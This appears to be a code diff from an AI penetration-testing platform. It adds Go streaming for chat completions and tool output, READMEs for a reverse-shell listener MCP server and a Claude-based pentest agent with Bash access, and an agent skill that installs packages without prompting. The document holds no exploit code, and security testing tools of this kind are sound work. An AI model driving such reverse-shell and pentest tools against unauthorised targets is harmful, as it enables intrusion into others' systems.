baseURL = "https://api.openai.com/v1"
}
body, err := json.Marshal(payload)
if err != nil {
return "", fmt.Errorf("marshal openai payload: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
if err != nil {
return "", fmt.Errorf("build openai request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
requestStart := time.Now()
resp, err := c.httpClient.Do(req)
if err != nil {
return "", fmt.Errorf("call openai api: %w", err)
}
defer resp.Body.Close()
// 非200:读完 body 返回
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(resp.Body)
return "", &APIError{
StatusCode: resp.StatusCode,
Body: string(respBody),
}
}
type streamDelta struct {
// OpenAI 兼容流式通常使用 content;但部分兼容实现可能用 text。
Content string `json:"content,omitempty"`
Text string `json:"text,omitempty"`
}
type streamChoice struct {
Delta streamDelta `json:"delta"`
FinishReason *string `json:"finish_reason,omitempty"`
}
type streamResponse struct {
ID string `json:"id,omitempty"`
Choices []streamChoice `json:"choices"`
Error *struct {
Message string `json:"message"`
Type string `json:"type"`
} `json:"error,omitempty"`
}
reader := bufio.NewReader(resp.Body)
var full strings.Builder
// 典型 SSE 结构:
// data: {...}\n\n
// data: [DONE]\n\n
for {
line, readErr := reader.ReadString('\n')
if readErr != nil {
if readErr == io.EOF {
break
}
return full.String(), fmt.Errorf("read openai stream: %w", readErr)
}
trimmed := strings.TrimSpace(line)
if trimmed == "" {
continue
}
if !strings.HasPrefix(trimmed, "data:") {
continue
}
dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
if dataStr == "[DONE]" {
break
}
var chunk streamResponse
if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
// 解析失败跳过(兼容各种兼容层的差异)
continue
}
if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
return full.String(), fmt.Errorf("openai stream error: %s", chunk.Error.Message)
}
if len(chunk.Choices) == 0 {
continue
}
delta := chunk.Choices[0].Delta.Content
if delta == "" {
delta = chunk.Choices[0].Delta.Text
}
if delta == "" {
continue
}
full.WriteString(delta)
if onDelta != nil {
if err := onDelta(delta); err != nil {
return full.String(), err
}
}
}
c.logger.Debug("received OpenAI stream completion",
zap.Duration("duration", time.Since(requestStart)),
zap.Int("contentLen", full.Len()),
)
return full.String(), nil
}
// StreamToolCall 流式工具调用的累积结果(arguments 以字符串形式拼接,留给上层再解析为 JSON)。
type StreamToolCall struct {
Index int
ID string
Type string
FunctionName string
FunctionArgsStr string
}
// ChatCompletionStreamWithToolCalls 流式模式:同时把 content delta 实时回调,并在结束后返回 tool_calls 和 finish_reason。
func (c *Client) ChatCompletionStreamWithToolCalls(
ctx context.Context,
payload interface{},
onContentDelta func(delta string) error,
) (string, []StreamToolCall, string, error) {
if c == nil {
return "", nil, "", fmt.Errorf("openai client is not initialized")
}
if c.config == nil {
return "", nil, "", fmt.Errorf("openai config is nil")
}
if strings.TrimSpace(c.config.APIKey) == "" {
return "", nil, "", fmt.Errorf("openai api key is empty")
}
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
if baseURL == "" {
baseURL = "https://api.openai.com/v1"
}
body, err := json.Marshal(payload)
if err != nil {
return "", nil, "", fmt.Errorf("marshal openai payload: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
if err != nil {
return "", nil, "", fmt.Errorf("build openai request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
requestStart := time.Now()
resp, err := c.httpClient.Do(req)
if err != nil {
return "", nil, "", fmt.Errorf("call openai api: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(resp.Body)
return "", nil, "", &APIError{
StatusCode: resp.StatusCode,
Body: string(respBody),
}
}
// delta tool_calls 的增量结构
type toolCallFunctionDelta struct {
Name string `json:"name,omitempty"`
Arguments string `json:"arguments,omitempty"`
}
type toolCallDelta struct {
Index int `json:"index,omitempty"`
ID string `json:"id,omitempty"`
Type string `json:"type,omitempty"`
Function toolCallFunctionDelta `json:"function,omitempty"`
}
type streamDelta2 struct {
Content string `json:"content,omitempty"`
Text string `json:"text,omitempty"`
ToolCalls []toolCallDelta `json:"tool_calls,omitempty"`
}
type streamChoice2 struct {
Delta streamDelta2 `json:"delta"`
FinishReason *string `json:"finish_reason,omitempty"`
}
type streamResponse2 struct {
Choices []streamChoice2 `json:"choices"`
Error *struct {
Message string `json:"message"`
Type string `json:"type"`
} `json:"error,omitempty"`
}
type toolCallAccum struct {
id string
typ string
name string
args strings.Builder
}
toolCallAccums := make(map[int]*toolCallAccum)
reader := bufio.NewReader(resp.Body)
var full strings.Builder
finishReason := ""
for {
line, readErr := reader.ReadString('\n')
if readErr != nil {
if readErr == io.EOF {
break
}
return full.String(), nil, finishReason, fmt.Errorf("read openai stream: %w", readErr)
}
trimmed := strings.TrimSpace(line)
if trimmed == "" {
continue
}
if !strings.HasPrefix(trimmed, "data:") {
continue
}
dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
if dataStr == "[DONE]" {
break
}
var chunk streamResponse2
if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
// 兼容:解析失败跳过
continue
}
if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
return full.String(), nil, finishReason, fmt.Errorf("openai stream error: %s", chunk.Error.Message)
}
if len(chunk.Choices) == 0 {
continue
}
choice := chunk.Choices[0]
if choice.FinishReason != nil && strings.TrimSpace(*choice.FinishReason) != "" {
finishReason = strings.TrimSpace(*choice.FinishReason)
}
delta := choice.Delta
content := delta.Content
if content == "" {
content = delta.Text
}
if content != "" {
full.WriteString(content)
if onContentDelta != nil {
if err := onContentDelta(content); err != nil {
return full.String(), nil, finishReason, err
}
}
}
if len(delta.ToolCalls) > 0 {
for _, tc := range delta.ToolCalls {
acc, ok := toolCallAccums[tc.Index]
if !ok {
acc = &toolCallAccum{}
toolCallAccums[tc.Index] = acc
}
if tc.ID != "" {
acc.id = tc.ID
}
if tc.Type != "" {
acc.typ = tc.Type
}
if tc.Function.Name != "" {
acc.name = tc.Function.Name
}
if tc.Function.Arguments != "" {
acc.args.WriteString(tc.Function.Arguments)
}
}
}
}
// 组装 tool calls
indices := make([]int, 0, len(toolCallAccums))
for idx := range toolCallAccums {
indices = append(indices, idx)
}
// 手写简单排序(避免额外 import)
for i := 0; i < len(indices); i++ {
for j := i + 1; j < len(indices); j++ {
if indices[j] < indices[i] {
indices[i], indices[j] = indices[j], indices[i]
}
}
}
toolCalls := make([]StreamToolCall, 0, len(indices))
for _, idx := range indices {
acc := toolCallAccums[idx]
tc := StreamToolCall{
Index: idx,
ID: acc.id,
Type: acc.typ,
FunctionName: acc.name,
FunctionArgsStr: acc.args.String(),
}
toolCalls = append(toolCalls, tc)
}
c.logger.Debug("received OpenAI stream completion (tool_calls)",
zap.Duration("duration", time.Since(requestStart)),
zap.Int("contentLen", full.Len()),
zap.Int("toolCalls", len(toolCalls)),
zap.String("finishReason", finishReason),
)
if strings.TrimSpace(finishReason) == "" {
finishReason = "stop"
}
return full.String(), toolCalls, finishReason, nil
}
+114 -2
View File
@@ -9,6 +9,8 @@ import (
"os/exec"
"strconv"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
@@ -17,6 +19,15 @@ import (
"go.uber.org/zap"
)
// ToolOutputCallback 用于在工具执行过程中把 stdout/stderr 增量推给上层(SSE)。
// 通过 context 传递,避免修改 MCP ToolHandler 签名导致的“写死工具”问题。
type ToolOutputCallback func(chunk string)
type toolOutputCallbackCtxKey struct{}
// ToolOutputCallbackCtxKey 是 context 中的 key,供 Agent 写入回调,Executor 读取并流式回调。
var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{}
// Executor 安全工具执行器
type Executor struct {
config *config.SecurityConfig
@@ -144,7 +155,16 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
zap.Strings("args", cmdArgs),
)
output, err := cmd.CombinedOutput()
var output string
var err error
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(cmd, cb)
} else {
outputBytes, err2 := cmd.CombinedOutput()
output = string(outputBytes)
err = err2
}
if err != nil {
// 检查退出码是否在允许列表中
exitCode := getExitCode(err)
@@ -931,7 +951,16 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
}
// 非后台命令:等待输出
output, err := cmd.CombinedOutput()
var output string
var err error
// 若上层提供工具输出增量回调,则边执行边流式读取。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(cmd, cb)
} else {
outputBytes, err2 := cmd.CombinedOutput()
output = string(outputBytes)
err = err2
}
if err != nil {
e.logger.Error("系统命令执行失败",
zap.String("command", command),
@@ -965,6 +994,78 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
}, nil
}
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
// 保持输出内容完整拼接返回,并用 cb(chunk) 向上层持续推送。
func streamCommandOutput(cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
stdoutPipe, err := cmd.StdoutPipe()
if err != nil {
return "", err
}
stderrPipe, err := cmd.StderrPipe()
if err != nil {
_ = stdoutPipe.Close()
return "", err
}
if err := cmd.Start(); err != nil {
_ = stdoutPipe.Close()
_ = stderrPipe.Close()
return "", err
}
chunks := make(chan string, 64)
var wg sync.WaitGroup
readFn := func(r io.Reader) {
defer wg.Done()
br := bufio.NewReader(r)
for {
s, readErr := br.ReadString('\n')
if s != "" {
chunks <- s
}
if readErr != nil {
// EOF 正常结束
return
}
}
}
wg.Add(2)
go readFn(stdoutPipe)
go readFn(stderrPipe)
go func() {
wg.Wait()
close(chunks)
}()
var outBuilder strings.Builder
var deltaBuilder strings.Builder
lastFlush := time.Now()
flush := func() {
if deltaBuilder.Len() == 0 {
return
}
cb(deltaBuilder.String())
deltaBuilder.Reset()
lastFlush = time.Now()
}
for chunk := range chunks {
outBuilder.WriteString(chunk)
deltaBuilder.WriteString(chunk)
// 简单节流:buffer 大于 2KB 或 200ms 就刷新一次
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
flush()
}
}
flush()
// 等待命令结束,返回最终退出状态
waitErr := cmd.Wait()
return outBuilder.String(), waitErr
}
// executeInternalTool 执行内部工具(不执行外部命令)
func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
// 提取内部工具类型(去掉 "internal:" 前缀)
@@ -1229,6 +1330,17 @@ func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]in
"description": param.Description,
}
// JSON Schema/OpenAI 要求 array 类型必须包含 items,否则 API 报 invalid_function_parameters
if openAIType == "array" {
itemType := strings.TrimSpace(param.ItemType)
if itemType == "" {
itemType = "string"
}
prop["items"] = map[string]interface{}{
"type": e.convertToOpenAIType(itemType),
}
}
// 添加默认值
if param.Default != nil {
prop["default"] = param.Default
+49
View File
@@ -0,0 +1,49 @@
# MCP Servers
[中文](README_CN.md)
This directory contains **standalone MCP (Model Context Protocol) servers**. They speak the standard MCP protocol over stdio (or HTTP/SSE when a server supports it), so **any MCP client** can use them—not only CyberStrikeAI, but also **Cursor**, **VS Code** (with an MCP extension), **Claude Code**, and other clients that support MCP.
**We will keep adding useful MCP servers here.** New servers will cover security testing, automation, and integration scenarios. Stay tuned for updates.
## Available servers
| Server | Description |
|--------|-------------|
| [reverse_shell](reverse_shell/) | Reverse shell listener: start/stop listener, send commands to connected targets, full interactive workflow. |
## How to use
These MCPs are configured per client. Use **absolute paths** for `command` and `args` when using stdio.
### CyberStrikeAI
1. Open Web UI → **Settings****External MCP**.
2. Add a new external MCP and fill in the JSON config (see each servers README for the exact config).
3. Save and click **Start**; the tools will appear in conversations.
### Cursor
Add the server to Cursors MCP config (e.g. **Settings → Tools & MCP → Add Custom MCP**, or edit `~/.cursor/mcp.json` / project `.cursor/mcp.json`). Example for a stdio server:
```json
{
"mcpServers": {
"reverse-shell": {
"command": "/absolute/path/to/venv/bin/python3",
"args": ["/absolute/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
}
}
}
```
Replace the paths with your actual paths. Cursor will spawn the process and talk MCP over stdio.
### VS Code (MCP extension) / Claude Code / other clients
Configure the client to run the server via **stdio**: set the **command** to your Python executable and **args** to the script path (see each servers README). The client will launch the process and communicate over stdin/stdout. Refer to your clients docs for where to put the config (e.g. `.mcp.json`, `~/.claude.json`, or the extensions settings).
## Requirements
- Python 3.10+ for Python-based servers.
- Use the projects `venv` when possible: e.g. `venv/bin/python3` and the script under `mcp-servers/`.
+49
View File
@@ -0,0 +1,49 @@
# MCP 服务
[English](README.md)
本目录存放 **独立 MCPModel Context Protocol)服务**,采用标准 MCP 协议(stdio 或部分服务支持 HTTP/SSE),因此 **任意支持 MCP 的客户端** 均可使用——不限于 CyberStrikeAI**Cursor**、**VS Code**(配合 MCP 扩展)、**Claude Code** 等均可接入。
**我们会持续在此新增好用的 MCP 服务**,覆盖安全测试、自动化与集成等场景,敬请关注。
## 已提供服务
| 服务 | 说明 |
|------|------|
| [reverse_shell](reverse_shell/) | 反向 Shell:开启/停止监听、与已连接目标交互执行命令,完整交互流程。 |
## 使用方式
各 MCP 需在对应客户端里配置后使用。stdio 模式下 `command``args` 请使用**绝对路径**。
### CyberStrikeAI
1. 打开 Web 界面 → **设置****外部 MCP**
2. 添加新的外部 MCP,按各服务目录下 README 的说明填写 JSON 配置。
3. 保存后点击 **启动**,对话中即可使用对应工具。
### Cursor
在 Cursor 的 MCP 配置中添加(如 **Settings → Tools & MCP → Add Custom MCP**,或编辑 `~/.cursor/mcp.json` / 项目下的 `.cursor/mcp.json`)。stdio 示例:
```json
{
"mcpServers": {
"reverse-shell": {
"command": "/你的绝对路径/venv/bin/python3",
"args": ["/你的绝对路径/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
}
}
}
```
将路径替换为实际路径后,Cursor 会启动该进程并通过 stdio 与 MCP 通信。
### VS CodeMCP 扩展)/ Claude Code / 其他客户端
在对应客户端中配置为通过 **stdio** 启动:**command** 填 Python 可执行文件路径,**args** 填脚本路径(详见各服务 README)。配置位置依客户端而定(如 `.mcp.json``~/.claude.json` 或扩展设置),请查阅该客户端的 MCP 说明。
## 依赖说明
- 基于 Python 的服务需 Python 3.10+。
- 建议使用项目自带的 `venv`,例如 `venv/bin/python3` 配合 `mcp-servers/` 下脚本路径。
@@ -0,0 +1,142 @@
---
name: find-skills
description: Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
---
# Find Skills
This skill helps you discover and install skills from the open agent skills ecosystem.
## When to Use This Skill
Use this skill when the user:
- Asks "how do I do X" where X might be a common task with an existing skill
- Says "find a skill for X" or "is there a skill for X"
- Asks "can you do X" where X is a specialized capability
- Expresses interest in extending agent capabilities
- Wants to search for tools, templates, or workflows
- Mentions they wish they had help with a specific domain (design, testing, deployment, etc.)
## What is the Skills CLI?
The Skills CLI (`npx skills`) is the package manager for the open agent skills ecosystem. Skills are modular packages that extend agent capabilities with specialized knowledge, workflows, and tools.
**Key commands:**
- `npx skills find [query]` - Search for skills interactively or by keyword
- `npx skills add <package>` - Install a skill from GitHub or other sources
- `npx skills check` - Check for skill updates
- `npx skills update` - Update all installed skills
**Browse skills at:** https://skills.sh/
## How to Help Users Find Skills
### Step 1: Understand What They Need
When a user asks for help with something, identify:
1. The domain (e.g., React, testing, design, deployment)
2. The specific task (e.g., writing tests, creating animations, reviewing PRs)
3. Whether this is a common enough task that a skill likely exists
### Step 2: Check the Leaderboard First
Before running a CLI search, check the [skills.sh leaderboard](https://skills.sh/) to see if a well-known skill already exists for the domain. The leaderboard ranks skills by total installs, surfacing the most popular and battle-tested options.
For example, top skills for web development include:
- `vercel-labs/agent-skills` — React, Next.js, web design (100K+ installs each)
- `anthropics/skills` — Frontend design, document processing (100K+ installs)
### Step 3: Search for Skills
If the leaderboard doesn't cover the user's need, run the find command:
```bash
npx skills find [query]
```
For example:
- User asks "how do I make my React app faster?" → `npx skills find react performance`
- User asks "can you help me with PR reviews?" → `npx skills find pr review`
- User asks "I need to create a changelog" → `npx skills find changelog`
### Step 4: Verify Quality Before Recommending
**Do not recommend a skill based solely on search results.** Always verify:
1. **Install count** — Prefer skills with 1K+ installs. Be cautious with anything under 100.
2. **Source reputation** — Official sources (`vercel-labs`, `anthropics`, `microsoft`) are more trustworthy than unknown authors.
3. **GitHub stars** — Check the source repository. A skill from a repo with <100 stars should be treated with skepticism.
### Step 5: Present Options to the User
When you find relevant skills, present them to the user with:
1. The skill name and what it does
2. The install count and source
3. The install command they can run
4. A link to learn more at skills.sh
Example response:
```
I found a skill that might help! The "react-best-practices" skill provides
React and Next.js performance optimization guidelines from Vercel Engineering.
(185K installs)
To install it:
npx skills add vercel-labs/agent-skills@react-best-practices
Learn more: https://skills.sh/vercel-labs/agent-skills/react-best-practices
```
### Step 6: Offer to Install
If the user wants to proceed, you can install the skill for them:
```bash
npx skills add <owner/repo@skill> -g -y
```
The `-g` flag installs globally (user-level) and `-y` skips confirmation prompts.
## Common Skill Categories
When searching, consider these common categories:
| Category | Example Queries |
| --------------- | ---------------------------------------- |
| Web Development | react, nextjs, typescript, css, tailwind |
| Testing | testing, jest, playwright, e2e |
| DevOps | deploy, docker, kubernetes, ci-cd |
| Documentation | docs, readme, changelog, api-docs |
| Code Quality | review, lint, refactor, best-practices |
| Design | ui, ux, design-system, accessibility |
| Productivity | workflow, automation, git |
## Tips for Effective Searches
1. **Use specific keywords**: "react testing" is better than just "testing"
2. **Try alternative terms**: If "deploy" doesn't work, try "deployment" or "ci-cd"
3. **Check popular sources**: Many skills come from `vercel-labs/agent-skills` or `ComposioHQ/awesome-claude-skills`
## When No Skills Are Found
If no relevant skills exist:
1. Acknowledge that no existing skill was found
2. Offer to help with the task directly using your general capabilities
3. Suggest the user could create their own skill with `npx skills init`
Example:
```
I searched for skills related to "xyz" but didn't find any matches.
I can still help you with this task directly! Would you like me to proceed?
If this is something you do often, you could create your own skill:
npx skills init my-xyz-skill
```
+85
View File
@@ -0,0 +1,85 @@
# Pent Claude Agent MCP
[中文](README_CN.md)
AI-powered **penetration testing engineer** MCP server. CyberStrikeAI can command it to run pentest tasks, analyze vulnerabilities, and perform security diagnostics. The agent runs a Claude-based AI internally and can be configured with its own MCP servers and tools.
## Tools
| Tool | Description |
|------|-------------|
| `pent_claude_run_pentest_task` | Run a penetration testing task. The agent executes independently and returns results. |
| `pent_claude_analyze_vulnerability` | Analyze vulnerability information and provide remediation suggestions. |
| `pent_agent_execute` | Execute a task. The agent chooses appropriate tools and methods. |
| `pent_agent_diagnose` | Diagnose a target (URL, IP, domain) for security assessment. |
| `pent_claude_status` | Get the current status of pent_claude_agent. |
## Requirements
- Python 3.10+
- `mcp`, `claude-agent-sdk`, `pyyaml` (included if using the project venv; otherwise: `pip install mcp claude-agent-sdk pyyaml`)
## Configuration
The agent uses `pent_claude_agent_config.yaml` in this directory by default. You can override via:
- `--config /path/to/config.yaml` when starting the MCP server
- Environment variable `PENT_CLAUDE_AGENT_CONFIG`
Config options (see `pent_claude_agent_config.yaml`):
- `cwd`: Working directory for the agent
- `allowed_tools`: Tools the agent can use (Read, Write, Bash, Grep, Glob, etc.)
- `mcp_servers`: MCP servers the agent can use (e.g. reverse_shell)
- `env`: Environment variables (API keys, etc.)
- `system_prompt`: Role and behavior definition
Path placeholders: `${PROJECT_ROOT}` = CyberStrikeAI root, `${SCRIPT_DIR}` = this script's directory.
## Setup in CyberStrikeAI
1. **Paths**
Example: project root `/path/to/CyberStrikeAI-main`
Script: `/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
2. **Web UI****Settings****External MCP****Add External MCP**. Paste JSON (replace paths with yours):
```json
{
"pent-claude-agent": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": [
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
"--config",
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
],
"description": "Penetration testing engineer: run pentest tasks, analyze vulnerabilities, get status",
"timeout": 300,
"external_mcp_enable": true
}
}
```
- `command`: Prefer the project **venv** Python; or use system `python3`.
- `args`: **Must be absolute path** to `mcp_pent_claude_agent.py`. Add `--config` and config path if needed.
- `timeout`: 300 recommended (pentest tasks can be long).
- Save, then click **Start** for this MCP to use the tools in chat.
3. **Typical workflow**
- CyberStrikeAI calls `pent_claude_run_pentest_task("Scan target 192.168.1.1 for open ports")`.
- pent_claude_agent starts a Claude agent internally, which may use Bash, nmap, etc.
- Results are returned to CyberStrikeAI.
## Run locally (optional)
```bash
# From project root, with venv
./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
```
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
## Security
- Use only in authorized, isolated test environments.
- API keys in config should be kept secure; prefer environment variables for production.
@@ -0,0 +1,85 @@
# Pent Claude Agent MCP
[English](README.md)
AI 驱动的**渗透测试工程师** MCP 服务。CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务、分析漏洞、进行安全诊断。Agent 内部使用 Claude Agent SDK,可独立配置 MCP、工具等,作为独立的渗透测试工程师运行。
## 工具说明
| 工具 | 说明 |
|------|------|
| `pent_claude_run_pentest_task` | 执行渗透测试任务,Agent 独立执行并返回结果。 |
| `pent_claude_analyze_vulnerability` | 分析漏洞信息并给出修复建议。 |
| `pent_agent_execute` | 执行指定任务,Agent 自动选择工具和方法。 |
| `pent_agent_diagnose` | 对目标(URL、IP、域名)进行安全诊断。 |
| `pent_claude_status` | 获取 pent_claude_agent 的当前状态。 |
## 依赖
- Python 3.10+
- `mcp``claude-agent-sdk``pyyaml`(使用项目 venv 时已包含;单独运行需:`pip install mcp claude-agent-sdk pyyaml`
## 配置
Agent 默认使用本目录下的 `pent_claude_agent_config.yaml`。可通过以下方式覆盖:
- 启动 MCP 时传入 `--config /path/to/config.yaml`
- 环境变量 `PENT_CLAUDE_AGENT_CONFIG`
配置项(参见 `pent_claude_agent_config.yaml`):
- `cwd`: Agent 工作目录
- `allowed_tools`: Agent 可用的工具(Read、Write、Bash、Grep、Glob 等)
- `mcp_servers`: Agent 可挂载的 MCP 服务器(如 reverse_shell
- `env`: 环境变量(API Key 等)
- `system_prompt`: 角色与行为定义
路径占位符:`${PROJECT_ROOT}` = CyberStrikeAI 项目根目录,`${SCRIPT_DIR}` = 本脚本所在目录。
## 在 CyberStrikeAI 中接入
1. **路径**
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
`/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
2. **Web 界面****设置****外部 MCP****添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
```json
{
"pent-claude-agent": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": [
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
"--config",
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
],
"description": "渗透测试工程师:下发任务后独立执行并返回结果",
"timeout": 300,
"external_mcp_enable": true
}
}
```
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`
- `args`**必须使用绝对路径** 指向 `mcp_pent_claude_agent.py`。如需指定配置可追加 `--config` 及配置路径。
- `timeout`:建议 300(渗透测试任务可能较长)。
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
3. **使用流程示例**
- CyberStrikeAI 调用 `pent_claude_run_pentest_task("扫描目标 192.168.1.1 的开放端口")`
- pent_claude_agent 内部启动 Claude Agent,可能使用 Bash、nmap 等工具执行。
- 结果返回给 CyberStrikeAI。
## 本地单独运行(可选)
```bash
# 在项目根目录,使用 venv
./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
```
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
## 安全提示
- 仅在有授权、隔离的测试环境中使用。
- 配置中的 API Key 需妥善保管;生产环境建议使用环境变量。
@@ -0,0 +1,227 @@
#!/usr/bin/env python3
"""
Pent Claude Agent MCP Server - 渗透测试工程师 MCP 服务
通过 MCP 协议暴露 AI 渗透测试能力CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务
pent_claude_agent 内部使用 Claude Agent SDK可独立配置 MCP工具等作为独立的渗透测试工程师运行
依赖pip install mcp claude-agent-sdk或使用项目 venv
运行python mcp_pent_claude_agent.py [--config /path/to/config.yaml]
"""
from __future__ import annotations
import argparse
import asyncio
import os
from typing import Any
import yaml
from mcp.server.fastmcp import FastMCP
# 延迟导入,避免未安装时影响 MCP 启动
_claude_sdk_available = False
try:
from claude_agent_sdk import ClaudeAgentOptions, query
_claude_sdk_available = True
except ImportError:
pass
# ---------------------------------------------------------------------------
# 路径与配置
# ---------------------------------------------------------------------------
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PROJECT_ROOT = os.path.dirname(os.path.dirname(SCRIPT_DIR))
_DEFAULT_CONFIG_PATH = os.path.join(SCRIPT_DIR, "pent_claude_agent_config.yaml")
# Agent 运行状态(简单内存状态,用于 status)
_last_task: str | None = None
_last_result: str | None = None
_task_count: int = 0
def _load_config(config_path: str | None) -> dict[str, Any]:
"""加载 YAML 配置,合并默认值与用户配置。"""
defaults: dict[str, Any] = {
"cwd": PROJECT_ROOT,
"allowed_tools": ["Read", "Write", "Bash", "Grep", "Glob"],
"env": {
"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
"DISABLE_TELEMETRY": "1",
"DISABLE_ERROR_REPORTING": "1",
"DISABLE_BUG_COMMAND": "1",
},
"mcp_servers": {},
"system_prompt": (
"你是一名专业的渗透测试工程师。根据用户给出的任务,进行安全测试、漏洞分析、信息收集等。"
"请按步骤执行,输出清晰、可复现的结果。仅在授权范围内进行测试。"
),
}
path = config_path or os.environ.get("PENT_CLAUDE_AGENT_CONFIG", _DEFAULT_CONFIG_PATH)
if not os.path.isfile(path):
return defaults
try:
with open(path, "r", encoding="utf-8") as f:
user = yaml.safe_load(f) or {}
# 深度合并
def merge(base: dict, override: dict) -> dict:
out = dict(base)
for k, v in override.items():
if k in out and isinstance(out[k], dict) and isinstance(v, dict):
out[k] = merge(out[k], v)
else:
out[k] = v
return out
return merge(defaults, user)
except Exception:
return defaults
def _resolve_path(s: str) -> str:
"""解析路径占位符。"""
return s.replace("${PROJECT_ROOT}", PROJECT_ROOT).replace("${SCRIPT_DIR}", SCRIPT_DIR)
def _build_agent_options(config: dict[str, Any], cwd_override: str | None = None) -> ClaudeAgentOptions:
"""从配置构建 ClaudeAgentOptions。"""
raw_cwd = cwd_override or config.get("cwd", PROJECT_ROOT)
cwd = _resolve_path(str(raw_cwd)) if isinstance(raw_cwd, str) else str(raw_cwd)
env = dict(os.environ)
env.update(config.get("env", {}))
mcp_servers = config.get("mcp_servers") or {}
# 解析路径占位符
for name, cfg in list(mcp_servers.items()):
if isinstance(cfg, dict):
args = cfg.get("args") or []
cfg = dict(cfg)
cfg["args"] = [_resolve_path(str(a)) for a in args]
mcp_servers[name] = cfg
return ClaudeAgentOptions(
cwd=cwd,
allowed_tools=config.get("allowed_tools", ["Read", "Write", "Bash", "Grep", "Glob"]),
disallowed_tools=config.get("disallowed_tools", []),
mcp_servers=mcp_servers,
env=env,
system_prompt=config.get("system_prompt"),
setting_sources=config.get("setting_sources", ["user", "project"]),
)
async def _run_claude_agent(prompt: str, config_path: str | None = None, cwd: str | None = None) -> str:
"""内部执行 Claude Agent,返回最后一轮文本结果。"""
global _last_task, _last_result, _task_count
_last_task = prompt
_task_count += 1
if not _claude_sdk_available:
_last_result = "错误:未安装 claude-agent-sdk,请执行 pip install claude-agent-sdk"
return _last_result
config = _load_config(config_path)
options = _build_agent_options(config, cwd_override=cwd)
messages: list[Any] = []
try:
async for message in query(prompt=prompt, options=options):
messages.append(message)
except Exception as e:
_last_result = f"Agent 执行异常: {e}"
return _last_result
if not messages:
_last_result = "(无输出)"
return _last_result
# 多轮迭代时,取最后一个 ResultMessage(最后一波结果)
result_msgs = [m for m in messages if hasattr(m, "result") and getattr(m, "result", None) is not None]
last = result_msgs[-1] if result_msgs else messages[-1]
# 提取文本内容,优先 ResultMessage.result,避免输出 metadata
if hasattr(last, "result") and last.result is not None:
text = last.result
elif hasattr(last, "content") and last.content:
parts = []
for block in last.content:
if hasattr(block, "text") and block.text:
parts.append(block.text)
text = "\n".join(parts) if parts else "(无输出)"
else:
text = "(无输出)"
_last_result = text
return _last_result
# ---------------------------------------------------------------------------
# MCP 服务与工具
# ---------------------------------------------------------------------------
app = FastMCP(
name="pent-claude-agent",
instructions="渗透测试工程师 MCP:接收任务后,内部启动 Claude Agent 独立执行渗透测试、漏洞分析等,并返回结果。",
)
@app.tool(
